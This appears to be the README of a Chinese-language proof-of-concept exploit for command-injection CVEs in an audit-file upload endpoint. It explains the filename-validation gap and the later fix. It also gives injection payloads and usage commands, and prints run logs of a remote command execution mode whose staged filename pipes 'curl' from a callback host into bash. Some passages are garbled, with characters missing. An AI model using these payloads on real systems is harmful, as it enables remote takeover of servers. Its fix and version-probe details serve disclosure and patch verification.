
针对 CVE-2026-19679 的概念验证漏洞利用程序,该漏洞源于审计文件上传时文件名清理不充分,可导致命令注入。包含差异版本探测及用于远程命令执行的 exec 模式。

状态:已确认,在 6.7.2-14.el9 实验室环境(2026-08-20)中验证。POST /rest/auditFile 携带
tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" 返回 HTTP 200,并
注册了 AuditFile #1000002 —— 该包含 shell 元字符的文件名通过了验证并被
端到端存储。在 6.9.0 上,同一请求被拒绝,返回
"Invalid tailoring filename."。
审计文件上传参数(filename、tailoringFilename、
tailoringOriginalFilename)使用 PARAM_FILENAME
(Utility::validateParams())进行验证,该方法仅检查三项:非空、不含
(与 相等),以及暂存文件是否存在。 —— 、、反引号、 和空格均可原样通过。
/basename();$()${IFS}这些名称随后流入:
rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") ——
AuditFileLib.php:2307(会创建一个名称中包含任意元字符的文件)exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc"),其中未转义的 $tmpZipFile 源自
客户端的 filename 参数 —— 即 CVE-2026-19681 的下游命令注入。实验室验证的边界:路径遍历不属于 6.9 之前的缺陷 —— 两个定制
参数均拒绝 /(对 ../ 载荷返回错误 146 Invalid syntax for attribute ...)。
缺失的正是字符集过滤器,这就是 CVE 描述中
“可能助长下游命令注入”所指的内容。
AuditFiles::applySCAPTailoringFile():
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);
再加上对两个名称的 basename() 以及对 zip 操作数的 escapeshellarg()。
差分版本探测 —— 一次请求,各版本结果相反:
./poc.py --target https://sc.lab --username analyst --password 'pass'
"Invalid tailoring filename."操作说明(均经实验室验证):
/rest/file/upload(multipart Filedata、context 表单字段)context=auditFile 会对
zip 执行内容检测(对伪 zip 返回错误 107)type=scapLinux|scapWindows、version=1.2、benchmarkName、
dataStreamName19679 是验证缺口;19681 是 exec 汇聚点。同一上传流程同时
触发两者:19681 通过上传 context 前缀在暂存的 filename 中植入
元字符,并通过未转义的 $tmpZipFile 触发它们;19679 则证明
同类参数接受相同的字符类别,直至(并进入)同一条命令字符串。6.9.0
在同一提交区域修复了两侧:字符集 + basename + escapeshellarg。
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux